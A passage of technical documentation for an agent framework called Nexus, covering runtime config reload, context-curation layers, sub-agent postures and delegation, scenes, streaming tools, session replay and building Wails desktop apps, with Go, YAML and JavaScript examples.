  • The new config is run through the same JSON-schema validation pass that Boot performs. Every active plugin’s ConfigSchemaProvider is re-checked against the new config map; engine-level fields (engine.shutdown.drain_timeout, engine.config_watch) are validated against the engine schema (pkg/engine/engine_schema.json).
  • Capability provider identity is pinned. If a capability bound at boot (e.g. memory.history) would resolve to a different concrete plugin under the new active set, the reload is rejected. The session has in-flight state bound to the existing provider; a silent swap would strip the operator’s history.
  • The active-set diff is computed: which IDs are added, which removed, which kept with a config change.

Any error here returns immediately. The engine is unchanged.

2. Apply (best-effort)

The diff is walked:

DeltaAction
Plugin addedInitReady (subscriptions registered by Init)
Plugin removedShutdown (subscriptions released by Shutdown)
Config change w/ ConfigReloaderReloadConfig(old, new) in place; subscriptions preserved
Config change w/o ConfigReloaderShutdown → fresh factory → InitReady
Engine-only fieldSwapped before per-plugin work; takes effect on next read

Atomicity caveat

The validate phase is atomic — failures here leave the engine state untouched. The apply phase is best-effort. If a per-plugin ReloadConfig or Init / Ready fails partway through, prior changes have already taken effect (a restarted plugin has already re-subscribed to the bus and may have written to journals or storage). The engine logs the failure and surfaces it to the caller; we do not attempt to roll back. “Undoing” a Shutdown is not generally possible — the plugin’s in-memory state is gone.

If a partial reload leaves the engine in a state the operator dislikes, re-issue ReloadConfig with the previous config to revert.

ConfigReloader opt-in

// pkg/engine/plugin.go
type ConfigReloader interface {
    ReloadConfig(old, new map[string]any) error
}

A plugin that implements ConfigReloader receives the in-place hook on a config-only change instead of going through the restart path. Both paths are supported; the hook is purely an optimization for plugins where a full restart would drop in-progress work (e.g. an HTTP listener with established WebSocket connections, an MCP client mid-stream).

Implementations must be transactional from the bus’s perspective: returning an error must leave the plugin in its prior state — bus subscriptions, in-memory data, persisted scratch — unchanged. The engine makes no attempt to restart on top of a failed in-place reload.

Capability pinning

Capability provider identity is pinned for the lifetime of a session. The constraint is enforced in the validate phase: if a capability that the running engine has resolved (e.g. memory.historynexus.memory.capped) would resolve to a different provider in the new config, the reload is rejected with the error:

capability provider "memory.history" cannot change at runtime (nexus.memory.capped -> nexus.memory.summary_buffer); restart required to rebind session state

Restart the engine to change capability providers — the new session boots with the new provider from clean state.

Triggers

Three triggers feed ReloadConfig:

SIGHUP (CLI)

The cmd/nexus binary’s main loop intercepts SIGHUP, re-reads the original -config path, and calls ReloadConfig. SIGINT and SIGTERM continue to terminate the engine.

kill -HUP $(pgrep -f 'nexus -config')

POST /admin/reload-config (browser plugin)

When nexus.io.browser is active, its HTTP server exposes POST /admin/reload-config. Body is empty (re-read the original path) or {"path": "/abs/path/to/new.yaml"} for an ad-hoc reload. The endpoint returns 200 OK with {"ok": true} on success or 400 with {"ok": false, "error": "..."} on a validation failure; a stuck reload returns 504 after 30s.

No auth layer yet — alpha-only; front with a reverse proxy if exposed. Implementation lives in plugins/io/browser/server.go.

fsnotify watcher

Off by default. Opt in via:

engine:
  config_watch:
    enabled: true
    debounce: 1s

The CLI starts a watcher on the -config path and fires ReloadConfig after each debounced edit. The watcher lives in pkg/engine/configwatch/. It watches the parent directory rather than the file itself because editors that swap-on-save (Vim’s default) replace the file’s inode — a watcher on the original path would miss the swap.

The debounce window collapses bursts of Write/Create events on the same path into a single reload. Editors commonly fire two or three Write events when saving; reading a half-written YAML through the validator would surface a confusing schema error. 1s is well above the typical storm and short enough that the operator perceives the reload as instant. Tune downward for fast feedback during dev; leave at the default (or higher) in production where rapid re-saves rarely happen.

Bus events

External triggers can also dispatch core.config.reload.request on the event bus and listen for core.config.reload.result. The browser admin endpoint uses this internally — the engine subscribes to the request event during Boot and emits the result back. Custom plugins or embedders that don’t want to hold an *Engine reference can use the same path.

Code locations

ConcernFile
ReloadConfig APIpkg/engine/reload.go
ConfigReloaderpkg/engine/plugin.go
Engine schemapkg/engine/engine_schema.json
fsnotify watcherpkg/engine/configwatch/watcher.go
SIGHUP / CLI hookscmd/nexus/main.go
Admin HTTP endpointplugins/io/browser/server.go
Bus event typespkg/events/core.go
Testspkg/engine/reload_test.go

Context Engineering

The conversation history is the LLM’s working memory. Every byte costs tokens, slows the model, and competes with other content for attention. Nexus exposes a layered context-curation stack so operators can shed weight aggressively without losing the reasoning chain.

Layers

The stack runs in cost order on every before:llm.request. Cheaper deterministic layers fire first; LLM-touching layers run only when the prior layers leave the request still over budget.

#LayerPluginCostCache Impact
1Tool-result clearingnexus.memory.tool_result_clearNone (heuristic)volatile
2Tool-def pruningnexus.memory.tool_def_prunerNone (heuristic)session (re-cache once)
3Topic-shift detectionnexus.memory.topic_prunerOne classifier or phrase matchvolatile
4Reasoning-preserving summarynexus.memory.summary_bufferOne LLM callsession (re-cache once)
5Compaction-and-restartnexus.memory.compactionOne LLM call (full reset)session (re-cache once)

Curators never edit the static section — system prompt and operator-set content are off-limits.

Stability Descriptor

Every layer emits a memory.curated envelope event carrying a stability-impact descriptor:

type MemoryCurated struct {
    Layer            string             // which layer ran
    SectionsTouched  []CurationSection  // section_id, kind, tokens_delta
    CacheInvalidates bool               // does any touched section cross the cache prefix?
    AtTurn           int                // turn boundary
}

CurationSection.Kind is one of:

  • volatile — recent turns; no cache impact.
  • session — session-long content (compaction summary, tool definitions); controlled re-cache, charged once and amortised.
  • static — system prompt / tool defs (forbidden — curator must not touch).

A future cache-aware prompt builder (Idea 05) consumes this descriptor to scope re-cache cost. Until that lands, curations batch at turn boundaries to keep cache invalidations predictable.

Replay Determinism

Curation is heuristic and classifier-driven, so curators emit one event per decision (memory.tool_result_cleared, memory.tool_def_pruned, memory.topic_shift_detected, memory.summary_replaced). The durable journal (Idea 01) records every envelope so replay reproduces curation by replaying decisions, not by re-running heuristics.

Provider-side vs Harness-side

Anthropic’s server-side tool_result_clear and system_message_edit primitives, and OpenAI Responses API truncation policies, do similar work in-provider. Nexus defaults to harness-side curation for portability — every layer works the same regardless of which provider the request lands on. Provider-native primitives can be enabled as an opt-in optimisation when the configured provider supports them.

Eval-Driven Tuning

The eval harness (Idea 07) supports curation-on/off pivots so operators can compare task-success-rate against the cost savings of an aggressive preset. Keep defaults conservative until eval data justifies tightening.

Composing the Stack

A typical full stack:

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.summary_buffer       # base history with reasoning-preserving summary
    - nexus.memory.tool_result_clear    # layer 1
    - nexus.memory.tool_def_pruner      # layer 2
    - nexus.memory.topic_pruner         # layer 3
    - nexus.discovery.progressive       # complements layer 2 (class-level scoping)
    - nexus.gate.context_window         # last-resort compaction trigger

Layer 5 (compaction-and-restart) is implicit when the context-window gate fires the existing nexus.memory.compaction coordinator.

Postures

A posture is a registered, named, versioned configuration that describes how a sub-agent should run: which system prompt, which subset of tools, which model, and what default resource budget. Postures are the contract that the delegate runtime resolves at invocation time, and the value operators tune in production to change agent behavior without code changes.

Schema

type AgentPosture struct {
    Name              string         // Registry key parent agents reference
    Description       string         // Human-facing copy (introspection prompts)
    SystemPrompt      string         // The posture's prompt
    AllowedTools      []string       // Closed list of permitted tool names
    OutputSchema      string         // Named schema validated against final output (optional)
    Model             ModelConfig    // Model tier / explicit Provider+Model override
    DefaultBudget     ResourceBudget // Timeout, MaxTokens, MaxToolCalls
    MaxRecursionDepth int            // Per-posture depth cap (0 falls back to runtime MaxDepth)
    Version           string         // Content hash, assigned by the loader / registry
}

type ResourceBudget struct {
    Timeout      time.Duration
    MaxTokens    int
    MaxToolCalls int
}

pkg/posture defines the type and an in-memory Registry. The nexus.agent.postures plugin loads YAML from disk and exposes the posture.registry capability.

YAML

Postures live in a directory of *.yaml files. The filename (minus extension) supplies a fallback name if the YAML omits one. Example:

name: analyst
description: deep reader; quotes sources verbatim
system_prompt: |
  You are a careful analyst. Cite sources by URL. Be concise.
allowed_tools:
  - web_search
  - web_fetch
  - read_pdf
output_schema: analyst_report
model:
  model_role: reasoning
  max_tokens: 4000
default_budget:
  timeout: 60s
  max_tokens: 50000
  max_tool_calls: 20
max_recursion_depth: 2

Versioning

The registry hashes each posture’s content (name, system prompt, allowed tools, output schema, model selectors) into a 16-character Version string. Two postures with the same Name but different content are not “different versions” — the new content replaces the old, but the Version change flows into the delegate result cache key, invalidating any stale entries automatically.

Hot reload

nexus.agent.postures watches every configured scan_dirs entry with fsnotify. Edits and adds re-load the affected file after a small debounce (debounce_ms, default 250ms); deletes drop the posture from the registry. Active sub-sessions keep their old configuration; new invocations resolve the new one. This is how operators tune prompts in production without restarts.

The watcher swallows individual parse errors with a WARN log — a single malformed file does not block the rest from registering.

Capability resolution

The plugin advertises:

Capabilities: posture.registry

The delegate plugin requires this capability, so the lifecycle manager pins the active provider at boot and the delegate runtime resolves the registry through LookupPlugin without plugin-to-plugin imports or bus handshake races.

Watching change events

Operators that want to react to posture edits (warm caches, alert on removals) can subscribe to the posture.registered / posture.removed bus events; see the events reference. The in-process posture.Registry.Watch(ctx) channel provides the same notifications inside the process for plugins that need them.

Configuration

See nexus.agent.postures in the configuration reference.

Sub-agent Delegation

Delegation is the first-class operation a parent agent uses to call another agent with a different reasoning posture, system prompt, allowed-tools subset, and resource budget. From the parent’s perspective a delegate call is a single tool invocation; underneath, the runtime spawns a sub-session that has its own context window, its own envelope identity (Causation.AgentID and Depth), and its own budget.

The runtime lives at pkg/delegate.Runtime; the tool surface is the nexus.agent.delegate plugin.

Lifecycle of a call

  1. The parent’s LLM emits a delegate tool call.
  2. The plugin resolves the posture by name through the posture registry.
  3. The runtime checks recursion depth (per-posture max_recursion_depth first, then the global MaxDepth).
  4. The runtime computes a cache key. On a hit, the cached Output returns immediately as StatusCacheHit — no model calls, no tool calls, no budget consumption.
  5. The runtime pushes a CausationContext carrying the sub-agent’s AgentID and Depth, then enters the isolated LLM loop.
  6. Each iteration emits an llm.request tagged with the sub-session’s source, collects the response, runs any tool calls (filtered to the posture’s AllowedTools), and appends results to the sub-session’s history.
  7. The loop exits on a tool-call-free response (StatusSuccess), budget exhaustion (StatusPartial), error (StatusError), timeout (StatusTimeout), or ctx cancel (StatusCancel).
  8. Successful and partial outputs are cached. The final tool.result returns the Output to the parent agent as JSON.

Budgets

Budgets are non-negotiable, enforced by the runtime, and resolved per-call:

type Overrides struct {
    MaxTokens    int
    MaxToolCalls int
    Timeout      time.Duration
}

Per-call overrides win when non-zero; otherwise the posture’s DefaultBudget applies. Timeout becomes a context.WithTimeout around the loop. MaxTokens is checked after each LLM response and short-circuits with StatusPartial. MaxToolCalls is checked before dispatching each tool batch and likewise short-circuits with StatusPartial.

The parent receives the Output.Status and decides whether to retry with a larger budget, fall back to handling the task itself, or surface the partial result.

Recursion

Sub-agents can themselves call delegate. Two caps gate the depth:

  • The runtime’s MaxDepth (default 3, configurable via the plugin’s max_depth) is the global ceiling.
  • Each posture may set max_recursion_depth to tighten the ceiling for itself.

Exceeding either cap returns ErrRecursionLimit (StatusError) without spinning up a sub-session.

Caching

The runtime’s Cache interface (default: MemoryCache, an in-process LRU) keys results on the SHA-256 of:

  • Posture Name
  • Posture Version (the content hash; edits invalidate cached results)
  • The Task string
  • The canonicalized Context map (keys sorted, values JSON-marshaled)
  • The sorted AllowedTools list

Cache hits return Status = cache_hit and a fresh SubSessionID; Elapsed reflects only the lookup time. Operators can plug in a Redis-backed cache by implementing the Cache interface and assigning it on the runtime.

The cache is bypassed for errors and timeouts — operators want a retry to re-execute, not replay a transient failure.

Tool filtering

AllowedTools is a closed list. The runtime snapshots the live tool catalog on every invocation, intersects it with AllowedTools, and offers only the intersection to the sub-agent’s LLM. An empty list means “all tools the catalog currently advertises” — useful for trusted postures.

Observability

Every call emits a delegate.start / delegate.complete pair on the bus; see the events reference. Every LLM and tool envelope from inside the sub-session carries the sub-agent’s AgentID and Depth so observability tooling (otel spans, log shipping) can attribute the work.

Public API

type Input struct {
    Posture     string
    Task        string
    Context     map[string]any
    ParentTurn  string
    ParentDepth int
    Overrides   Overrides
}

type Output struct {
    Result        string
    Status        Status // success / partial / error / timeout / cancelled / cache_hit
    Error         string
    TokensUsed    int
    ToolCallsUsed int
    Elapsed       time.Duration
    SubSessionID  string
    PostureName   string
    PostureVer    string
    Depth         int
}

func (r *Runtime) Run(ctx context.Context, in Input) (Output, error)

Configuration

See nexus.agent.delegate in the configuration reference.

Scenes

A Scene is a named, structured, mutable entity that lives for the lifetime of a session. Agents use scenes to construct durable visual output (charts, dashboards, multi-section documents) that is addressable across tool calls, patchable over time, and persisted to disk.

The runtime is schema-agnostic — Nexus stores the content blob and journals patches; downstream renderers (UIs, exporters) interpret the schema-specific content.

Schema

type SceneHandle struct {
    ID        string // Stable, session-scoped — "scene_<hex>"
    SessionID string
    Schema    string // Names the schema the content conforms to
    Version   int    // Incremented on each patch
}

type Scene struct {
    Handle    SceneHandle
    Content   any          // Current state
    CreatedAt time.Time
    UpdatedAt time.Time
    History   []SceneEvent
}

type SceneEvent struct {
    Sequence  int
    Timestamp time.Time
    AgentID   string
    Patch     any
    Initial   bool
}

pkg/scene defines these types plus the Store interface that nexus.scene implements with a goroutine-safe in-memory backend.

Behavior

  • Stable IDs. Scene IDs are session-scoped and never change after creation. Agents reference them by ID in subsequent tool calls.
  • Patches are journaled. Every patch appends a SceneEvent to the scene’s in-memory history and a JSONL line to <session>/plugins/nexus.scene/scenes.jsonl. This is the substrate the replay primitive reads to reconstruct historical state.
  • Bus events. Creation, patching, and deletion each emit a scene.* event — see the events reference. agent_id flows from Event.Causation.AgentID so a sub-agent’s contribution is attributable.
  • Schema is advisory. The runtime does not validate content against the named schema; renderers do.
  • Linearization. Concurrent patches (parent + sub-agent, two parallel sub-agents) serialize through the store mutex. First patch at a given key wins; later patches see post-first-patch state.

Patcher

Patches merge through a Patcher implementation. The default is ShallowMerge:

  • Map patch + map content → key-by-key merge, patch keys overwrite.
  • Anything else → patch replaces content entirely.

Schema-specific renderers that need richer semantics can swap in their own Patcher via MemoryStore.WithPatcher.

Tool surface

nexus.scene registers five tools the LLM uses to manipulate scenes:

ToolArgumentsOutput
scene_createschema, contentSceneHandle JSON
scene_patchscene_id, patchSceneHandle JSON
scene_getscene_idfull Scene JSON (handle + content + history)
scene_list(none)array of SceneHandle
scene_deletescene_id{"deleted":true}

Persistence

  • Per-patch JSONL append to scenes.jsonl — the durable source of truth for time-travel reconstruction.
  • Full state snapshot to scenes.json on Shutdown — what a clean restart loads to pick up where the prior run left off.

Sessions configured to drop scene history can compact scenes.jsonl to the current state only; correctness does not depend on a complete log.

Configuration

See nexus.scene in the configuration reference. No config keys today — activate the plugin and the default tools register at boot.

Streaming Tools

A standard Nexus tool is request-response: an agent emits tool.invoke, the tool runs, the tool emits tool.result. For long-running operations that produce incremental output, the agent has to wait for the whole call to complete — UIs and observability collectors see nothing in between.

pkg/streamtool defines the contract a tool implements when it wants to publish intermediate output while it runs.

When to use it

A tool should be channel-aware when:

  • The work takes more than a few seconds.
  • It produces meaningful intermediate output a consumer might render (token stream, report sections, file-by-file progress).
  • It can be cancelled cleanly.

For quick request-response operations, the standard tool interface is fine.

Contract

type ChannelTool interface {
    Name() string
    Stream(ctx context.Context, input map[string]any) (<-chan ToolEvent, error)
}

type ToolEvent struct {
    Kind     Kind   // Progress / Partial / Complete / Error
    Sequence int    // Monotonic per Stream invocation, starts at 1
    Payload  any
    Progress float64 // 0.0–1.0 if known, -1 otherwise
    Err      error   // Set on KindError
}

The tool owns the channel’s lifetime: it must close the channel when work completes or ctx cancels, and it must end the stream with KindComplete or KindError.

Bridge

streamtool.Bridge(ctx, bus, tool, call) drains the channel and projects each event onto the bus:

  • KindProgresstool.stream.progress
  • KindPartialtool.stream.partial
  • KindComplete → final tool.result carrying the payload
  • KindError → final tool.result with the error

All projected envelopes inherit the originating tool.invoke’s ID as their Causation.ParentID automatically — the bus’s per-goroutine dispatch context handles the propagation. UIs subscribed to tool.stream.partial for live rendering, observability collectors shipping the stream to Otel, and the parent agent’s tool.result handler all see the same call linked through causation.

Bridge blocks until the channel closes or ctx cancels and returns nil on graceful completion, the stream’s error on KindError.

Wiring it into a plugin

A tool plugin keeps its Init and tool registration unchanged. In the tool.invoke handler it instantiates a ChannelTool, hands it to Bridge, and lets Bridge emit the final tool.result instead of doing that itself:

func (p *Plugin) onToolInvoke(ev engine.Event[any]) {
    call, _ := ev.Payload.(events.ToolCall)
    if call.Name != p.toolName {
        return
    }
    go func() {
        _ = streamtool.Bridge(context.Background(), p.bus, &myStreamingTool{...}, call)
    }()
}

The plugin still declares tool.stream.progress, tool.stream.partial, and tool.result in its Emissions().

Events

See tool.stream.* events in the events reference.

Replay

Given a session ID, pkg/replay reconstructs the full causation DAG and walks it. Replay is read-only and deterministic — it reads from the durable journal and the scene patch journal; it does not re-run agents, LLMs, or tools.

This is the foundation for debugging, audit trails, time-travel, and reproducibility.

API

type Replay struct {
    SessionID string
    Events    []Event       // In seq order
    Scenes    []SceneSnap   // Scene state at the requested point in time
    LastSeq   uint64
}

type Event struct {
    Seq       uint64
    ParentSeq uint64
    ParentID  string
    EventID   string
    Type      string
    AgentID   string
    Depth     int
    Vetoed    bool
    Payload   any
}

type Options struct {
    SessionsRoot  string // Engine session root (typically ~/.nexus/sessions)
    AtSeq         uint64 // Stop after this seq; zero = full journal
    IncludeVetoed bool   // Keep vetoed before:* envelopes (default true)
}

func Session(ctx context.Context, sessionID string, opts Options) (Replay, error)
func SessionAt(ctx context.Context, sessionID string, atSeq uint64, opts Options) (Replay, error)

Walking the DAG

The Replay value exposes three convenience walkers:

WalkerReturns
Roots()Events with ParentSeq == 0 — operator-driven entry points like io.session.start and io.input arrivals.
Children(seq)Events whose ParentSeq matches — the next layer of the DAG below a given node.
ByAgent(id)Events whose AgentID matches — the value the sub-agent Causation.AgentID buys: filter the DAG to one specialist’s work.

For richer traversal, the flat Events slice is in seq order — most custom walks are a single loop over it.

Use cases

  • Debugging. A user reports an issue with a session; Session(ctx, id, opts) reconstructs the events to read what happened.
  • Audit. Compliance review walks the DAG to verify what the session did. ByAgent answers “what did the analyst posture decide?”
  • Time-travel. SessionAt(ctx, id, atSeq, opts) rebuilds state as it looked at atSeq. Renderers consume the returned Scenes to show historical visual state.
  • Branch and fork. Replay to a point, then resume the session along a different path with a new agent message. (The engine’s existing rewind primitive consumes the DAG produced here.)

Scene reconstruction

For every session whose <session>/plugins/nexus.scene/scenes.jsonl exists, replay folds the JSONL stream through scene.ShallowMerge and returns a SceneSnap per scene at the requested point in time. Sessions without scenes return events without error.

The scene journal currently records its own per-scene mutation order, not the bus seq — AtSeq filters by the number of scene-journal lines read, not the bus dispatch seq. Improving this is a follow-up that adds a bus seq to each scene journal line.

Performance

For long sessions (thousands of events), full replay can be slow. The engine’s journal supports periodic snapshots in pkg/engine/replay.go that replay can start from; integrating snapshot recovery into pkg/replay.Session is a future optimization. Correctness does not depend on snapshots.

Desktop Shell

The desktop shell framework (pkg/desktop/) provides everything needed to embed one or more Nexus agents inside a Wails desktop application. Your application supplies agent definitions, config YAML, and a frontend — the framework handles engine lifecycle, event bridging, settings persistence, session management, and OS integration.

The framework lives inside the Nexus repository. Desktop applications that use it are built as separate Go modules that import github.com/frankbardon/nexus/pkg/desktop. A reference implementation ships at cmd/desktop/ to demonstrate the full feature set.

Architecture

flowchart TB
    subgraph App["📦 Your Wails App  (cmd/your-app/main.go)"]
        direction LR
        Run["desktop.Run(&desktop.Shell{ Agents, Assets })"]
    end

    subgraph FW["🧩 pkg/desktop  (framework)"]
        direction LR
        Shell["Shell<br/><sub>orchestrator</sub>"]
        Store["Store<br/><sub>settings + keyring</sub>"]
        Sess["Sessions<br/><sub>per-agent index</sub>"]

        subgraph EngA["Engine (agent-a)"]
            direction TB
            IOA["nexus.io.wails<br/>+ scopedRuntime"]
            PluginsA["your plugins"]
        end

        subgraph EngB["Engine (agent-b)"]
            direction TB
            IOB["nexus.io.wails<br/>+ scopedRuntime"]
            PluginsB["your plugins"]
        end

        Shell --> EngA
        Shell --> EngB
    end

    subgraph Web["🖥 Wails webview  (single process, shared)"]
        Front["Frontend JS<br/>scoped events:<br/><code>agent-a:nexus</code> · <code>agent-b:nexus</code>"]
    end

    App --> FW
    FW --> Web
    EngA <-. namespaced events .-> Front
    EngB <-. namespaced events .-> Front

    classDef app fill:#3a2d4a,stroke:#9b59b6,stroke-width:2px,color:#fff;
    classDef framework fill:#1e3a5f,stroke:#4a90e2,stroke-width:1.5px,color:#fff;
    classDef engine fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
    classDef web fill:#5f3a1e,stroke:#e2904a,stroke-width:1.5px,color:#fff;
    class Run app;
    class Shell,Store,Sess framework;
    class IOA,IOB,PluginsA,PluginsB engine;
    class Front web;

Key concepts

One engine per agent. Each agent gets its own engine.Engine instance with its own bus, plugin set, session workspace, and config. Agents never share an engine or bus — isolation is structural.

Lazy boot. Engines are created on demand when the frontend selects an agent (EnsureAgentRunning). No engine runs until the user navigates to it.

Scoped runtimes. Each agent’s nexus.io.wails plugin receives a scopedRuntime that namespaces Wails event channels by agent ID. The plugin itself is unaware of multi-agent — it talks to its Runtime interface, and the scoped wrapper handles the namespace. This means outbound events go to "{agentID}:nexus" and inbound events come from "{agentID}:nexus.input".

Config-driven event bridging. Domain events flow through the bus, not through Wails-bound Go methods. The nexus.io.wails plugin config declares exactly which events cross the bus-to-frontend boundary via subscribe (outbound) and accept (inbound) lists.

No eng.Run(). Desktop apps must use Boot/Stop directly. Run installs its own SIGINT/SIGTERM handler, which conflicts with Wails owning the process lifecycle.

Components

FileRole
shell.goCore orchestrator. Manages per-agent engine lifecycles, Wails app setup, all Wails-bound methods.
settings.goSettings schema types (SettingsField, FieldType, SettingsSchema).
store.goPersistent settings store. Plaintext JSON at ~/.nexus/desktop/settings.json, secrets in OS keychain via go-keyring.
resolve.go${var} placeholder resolution in config YAML from settings store with scope fallback (agent then shell).
sessions.goSession metadata index (SessionMeta). Persists to ~/.nexus/desktop/sessions.json. Cleanup and reconciliation on startup.
runtime.goScoped Runtime adapter for multi-agent event isolation. Enriches file dialog DefaultDirectory from settings.
watcher.goFilesystem watcher (fsnotify) for file browser panel. Watches one directory at a time with debounced change notifications.

Lifecycle

  1. desktop.Run(shell) — Configures and starts the Wails app. Blocks until the app exits.
  2. onStartup — Initializes the settings store, session index, file watcher, and agent state entries. Runs session maintenance (cleanup expired, reconcile orphans).
  3. Frontend selects agent — Calls EnsureAgentRunning(agentID).
  4. bootAgent — Resolves ${var} placeholders in the agent’s config YAML, creates the engine via engine.NewFromBytes, registers plugin factories, installs the scoped runtime on the wails plugin, calls eng.Boot(ctx), installs bus subscriptions for session metadata and UI state, creates the session index entry.
  5. Agent runs — Domain events flow between plugins and frontend through the bus bridge.
  6. New session / recallStopAgent tears down the current engine (unsubs, eng.Stop, marks session completed), then bootAgent creates a fresh engine (or one with RecallSessionID set for history replay).
  7. onShutdown — Stops all running engines, closes the file watcher.

What the framework does NOT do

  • Own your frontend. The framework ships a minimal base template in frontend/dist/, but you embed your own assets via Shell.Assets. Your frontend is yours — Alpine.js, React, vanilla JS, whatever fits.
  • Define your domain plugins. All agent behavior comes from plugins you register in Agent.Factories. The framework only manages the nexus.io.wails plugin lifecycle.
  • Restrict agent count. One agent, five agents — the framework scales. Each gets its own engine and scoped runtime.

Building Your Desktop App

This guide walks through creating a Nexus desktop application from scratch. By the end you will have a Wails app hosting a custom agent with settings, session management, and a frontend that communicates with the agent through the bus bridge.

The reference implementation at cmd/desktop/ demonstrates every feature covered here. When in doubt, consult it as the living example.

Prerequisites

  • Go 1.22+
  • Wails v2 CLI (go install github.com/wailsapp/wails/v2/cmd/wails@latest)
  • Nexus as a Go module dependency

Project structure

A typical desktop app looks like this:

cmd/my-app/
  main.go                  # Entry point — registers agents, calls desktop.Run
  config.yaml              # Embedded Nexus config for your agent
  internal/
    myplugin/              # Your domain plugin(s)
      plugin.go
      events.go
  frontend/
    dist/                  # Your frontend assets (HTML/CSS/JS)
      index.html
  build/                   # Wails build artifacts (icons, Info.plist)

Step 1: Create your domain plugin

Your agent’s behavior lives in a standard Nexus plugin. It subscribes to events from the frontend, does work, and emits results back.

package myplugin

import (
    "github.com/frankbardon/nexus/pkg/engine"
)

type Plugin struct {
    bus    engine.EventBus
    logger engine.Logger
}

func New() engine.Plugin { return &Plugin{} }

func (p *Plugin) ID() string { return "myapp.agent.worker" }

func (p *Plugin) Init(ctx engine.PluginContext) error {
    p.bus = ctx.Bus
    p.logger = ctx.Logger
    return nil
}

func (p *Plugin) Ready() error { return nil }

func (p *Plugin) Shutdown(_ context.Context) error { return nil }

func (p *Plugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "work.request", Handler: p.handleRequest},
    }
}

func (p *Plugin) Emissions() []string {
    return []string{"work.result", "session.meta.title"}
}

func (p *Plugin) handleRequest(event engine.Event[any]) {
    payload, _ := event.Payload.(map[string]any)
    input, _ := payload["input"].(string)

    // Do your work here...

    p.bus.Emit("work.result", map[string]any{
        "output": "Processed: " + input,
    })

    // Contribute session metadata so the session list shows
    // a meaningful title instead of "Untitled".
    p.bus.Emit("session.meta.title", map[string]any{
        "title": "Work: " + input,
    })
}

Step 2: Write your agent config

The config YAML declares which plugins are active and how the nexus.io.wails plugin bridges events. Use ${var} placeholders for values that come from user settings.

# config.yaml
core:
  log_level: info
  tick_interval: 5s

  sessions:
    root: ~/.nexus/sessions
    retention: 30d
    id_format: datetime_short

plugins:
  active:
    - nexus.io.wails
    - myapp.agent.worker

  nexus.io.wails:
    # Events bridged outbound: bus -> frontend
    subscribe:
      - "work.result"
      - "ui.state.restore"
    # Events accepted inbound: frontend -> bus
    accept:
      - "work.request"
      - "ui.state.save"

  myapp.agent.worker:
    api_key: "${shell.api_key}"
    data_dir: "${data_dir}"

Config-driven bridging is explicit. Only events listed in subscribe and accept cross the bus-to-frontend boundary. If your frontend isn’t receiving an event, check these lists first.

Step 3: Write your entry point

The entry point registers agents and calls desktop.Run. Config YAML is embedded at compile time — the shipped binary has no filesystem dependency on config files.

package main

import (
    "embed"
    "log"

    "github.com/frankbardon/nexus/pkg/desktop"
    "github.com/frankbardon/nexus/pkg/engine"
    wailsio "github.com/frankbardon/nexus/plugins/io/wails"

    "my-module/cmd/my-app/internal/myplugin"
)

//go:embed all:frontend/dist
var assets embed.FS

//go:embed config.yaml
var agentConfig []byte

func main() {
    if err := desktop.Run(&desktop.Shell{
        Title:  "My App",
        Width:  1024,
        Height: 768,
        Assets: assets,
        Agents: []desktop.Agent{
            {
                ID:          "my-agent",
                Name:        "My Agent",
                Description: "Does useful work",
                Icon:        "fa-solid fa-gear",
                ConfigYAML:  agentConfig,
                Factories: map[string]func() engine.Plugin{
                    "nexus.io.wails":    wailsio.New,
                    "myapp.agent.worker": myplugin.New,
                },
                Settings: []desktop.SettingsField{
                    {
                        Key:      "shell.api_key",
                        Display:  "API Key",
                        Type:     desktop.FieldString,
                        Secret:   true,
                        Required: true,
                    },
                    {
                        Key:      "data_dir",
                        Display:  "Data Folder",
                        Type:     desktop.FieldPath,
                        Required: true,
                    },
                },
            },
        },
    }); err != nil {
        log.Fatalf("app: %v", err)
    }
}

Key registration details

  • nexus.io.wails must be in Factories. The framework needs to intercept this plugin to install the scoped runtime before boot. Always register it via the factories map.
  • Every plugin in plugins.active needs a factory. Either through Agent.Factories (for custom and wails plugins) or the engine’s built-in registry (for stock Nexus plugins like nexus.llm.anthropic).
  • Assets is optional. If omitted (zero-value embed.FS), the framework uses its built-in base template. For anything beyond a demo, provide your own.

Step 4: Build your frontend

Your frontend communicates with the agent through scoped Wails events. The pattern:

// Create a bus helper scoped to your agent ID.
function createBus(agentID) {
    return {
        // Listen for events from the Go side.
        on(eventType, callback) {
            window.runtime.EventsOn(
                `${agentID}:nexus`,
                (envelopeJSON) => {
                    const envelope = JSON.parse(envelopeJSON);
                    if (envelope.type === eventType) {
                        callback(envelope.payload);
                    }
                }
            );
        },

        // Send an event to the Go side.
        emit(eventType, payload) {
            window.runtime.EventsEmit(
                `${agentID}:nexus.input`,
                JSON.stringify({ type: eventType, payload })
            );
        },

        // Request-response pattern: emit a request, wait for
        // a specific response event type.
        call(requestType, responseType, payload) {
            return new Promise((resolve) => {
                const off = window.runtime.EventsOnce(
                    `${agentID}:nexus`,
                    (envelopeJSON) => {
                        const envelope = JSON.parse(envelopeJSON);
                        if (envelope.type === responseType) {
                            resolve(envelope.payload);
                        }
                    }
                );
                this.emit(requestType, payload);
            });
        }
    };
}

Usage in your UI:

const bus = createBus('my-agent');

// Listen for results.
bus.on('work.result', (data) => {
    document.getElementById('output').textContent = data.output;
});

// Send a request.
document.getElementById('submit').addEventListener('click', () => {
    const input = document.getElementById('input').value;
    bus.emit('work.request', { input });
});

Calling shell methods

Shell services (settings, sessions, file dialogs) are Wails-bound Go methods on the Shell struct. Call them from JavaScript via the generated Wails bindings:

// List available agents.
const agents = await go.desktop.Shell.ListAgents();

// Boot an agent.
await go.desktop.Shell.EnsureAgentRunning('my-agent');

// Open a native file dialog.
const path = await go.desktop.Shell.PickFile('my-agent', 'Select File', '*.pdf');

// Manage sessions.
const sessions = await go.desktop.Shell.ListSessions('my-agent');
await go.desktop.Shell.NewSession('my-agent');
await go.desktop.Shell.RecallSession('my-agent', sessionID);
await go.desktop.Shell.DeleteSession('my-agent', sessionID);

Session list updates

Session list changes arrive as Wails events (not bus events):

window.runtime.EventsOn('my-agent:sessions.updated', (jsonStr) => {
    const sessions = JSON.parse(jsonStr);
    renderSessionList(sessions);
});

Step 5: Settings

Agents declare settings via Settings []SettingsField on the Agent struct. The framework handles persistence, UI rendering, and config injection.

Field types

TypeConstantUI Control
Single-line textFieldStringText input
File/folder pathFieldPathText input + Browse button
Multi-line textFieldTextTextarea
NumberFieldNumberNumber input (optional min/max)
BooleanFieldBoolToggle switch
DropdownFieldSelectSelect with Options

Scope and sharing

